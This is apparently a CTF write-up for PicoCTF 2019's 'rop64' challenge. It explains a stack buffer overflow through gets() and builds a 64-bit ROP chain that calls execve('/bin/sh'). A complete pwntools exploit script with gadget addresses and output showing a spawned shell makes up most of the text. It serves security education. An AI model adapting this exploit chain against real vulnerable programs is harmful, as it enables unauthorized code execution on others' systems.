Skip to content

ROP 64 bits - execve syscall

Summary

Exploiting a buffer overflow and using ROP to call execve.

Challenge

Description

Challenge : rop64 from PicoCTF 2019.

Time for the classic ROP in 64-bit. Can you exploit this program to get a flag?

Source code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("Can you ROP your way out of this?\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();

}

Writeup

As you can see, we can exploit a buffer overlow on the gets(buf) function.

The goal here is to call execve with the argument /bin/sh.

int execve(const char *filename, char *const argv[], char *const envp[]);

To do this we can look up at the syscalls list for x86_64 architecture. The function execve is the number 59 and takes 3 arguments. In 64 bits architecture, arguments are passed via registers.

Goal :

rax = 0x3b      ; 'execve' syscall id, 0x3b = 59
rdi = /bin/sh   ; Pointer to "/bin/sh" string in memory.
rsi = 0         ; No argument
rdx = 0         ; No argument

Then, execute syscall.

To find the padding of the buffer overflow, I use the cyclic and find_cyclic functions of the pwntools library.

To set rax (or another register to a specified value) to 0x3b we can use two methods :

  1. Using the stack :
    1. push 0x3b, add 0x3b on the stack
    2. pop rax, pop 0x3b into rax
  2. Using bitwise operations :
    1. xor rax, rax, set rax to 0
    2. add rax, 3, add 3 to rax (repeat this 19 times, 19*3=57)
    3. add rax, 2, add 2 to rax (57+2 = 59 = 0x3B).

To set rsi and rdx to 0, we will use the stack.

To set rdi to a pointer of the /bin/sh string in memory, we need to find a writable address. Inside gdb, we can use the vmmap command to show the range of addresses that are writable. In our case, we will use the first writable address, 0x00000000006b6000.

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/.../rop64/vuln

We will use the instruction mov qword ptr [rax], rdx to write /bin/sh into 0x00000000006b6000, with rax equals to 0x00000000006b6000 and rdx to /bin/sh.

To find all the gadgets addresses, I use ropper.

$ ropper -f vuln --search 'pop rdx; ret;'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdx; ret;

[INFO] File: vuln
0x000000000044bf16: pop rdx; ret;

We are now able to write our python solver script.

Source code (solve.py) :

#!/usr/bin/env python3
from pwn import process, p64, cyclic, cyclic_find, log

# context
PROGRAM = "./vuln"

def find_padding_size():
    proc = process(PROGRAM)
    pattern = cyclic(32)

    proc.sendlineafter(b"Can you ROP your way out of this?\n", pattern)
    proc.wait()

    core = proc.corefile
    seg_addr = int(f"0x{hex(core.fault_addr)[-8:]}", 16)

    return cyclic_find(seg_addr)


"""
0x0000000000444c50: xor rax, rax; ret;
0x00000000004749c0: add rax, 1; ret;
0x00000000004749b7: add rax, 2; ret;
0x00000000004749d0: add rax, 3; ret;

0x000000000048d341: mov qword ptr [rax], rdx; ret;

0x00000000004156f4: pop rax; ret;
0x0000000000400686: pop rdi; ret;
0x00000000004100d3: pop rsi; ret;
0x000000000044bf16: pop rdx; ret;

0x000000000040123c: syscall;
"""

# padding size
padding_size = find_padding_size()
log.info(f"Padding size : {padding_size}")

# gadgets
xor_rax   = p64(0x0000000000444c50)
add_rax_2 = p64(0x00000000004749b7)
add_rax_3 = p64(0x00000000004749d0)
pop_rax   = p64(0x00000000004156f4)
pop_rdi   = p64(0x0000000000400686)
pop_rsi   = p64(0x00000000004100d3)
pop_rdx   = p64(0x000000000044bf16)
bin_sh    = b"/bin/sh\x00"
syscall   = p64(0x000000000040123c)
writable_memory = p64(0x00000000006b6000)
write_memory_into_rax = p64(0x000000000048d341)

# padding
buf = b"A" * padding_size

# write "/bin/sh" string into memory
buf += pop_rdx
buf += bin_sh
buf += pop_rax
buf += writable_memory
buf += write_memory_into_rax

# set rax to '0x3b' (execve syscall id)
"""
buf += pop_rax
buf += p64(0x3b)
"""
buf += xor_rax
buf += add_rax_3 * 19
buf += add_rax_2 * 1

# set 'rdi' to '/bin/sh' address pointer
buf += pop_rdi
buf += writable_memory

# set 'rsi' to 0 
buf += pop_rsi
buf += p64(0)

# set 'rdx' to 0
buf += pop_rdx
buf += p64(0)

# syscall
buf += syscall

proc = process(PROGRAM)
proc.sendlineafter(b"Can you ROP your way out of this?\n", buf)
proc.interactive()

Execution :

$ python3 solve.py
[+] Starting local process './vuln': pid 14552
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 14552)
[+] Parsing corefile...: Done
[*] '/home/.../rop64/core.14552'
    Arch:      amd64-64-little
    RIP:       0x400b6e
    RSP:       0x7ffcdaa49cd8
    Exe:       '/home/.../rop64/vuln' (0x400000)
    Fault:     0x6161616861616167
[*] Padding size : 24
[+] Starting local process './vuln': pid 14566
[*] Switching to interactive mode
$ id
uid=1000(xanhacks) gid=1000(xanhacks) groups=1000(xanhacks),995(audio),998(wheel)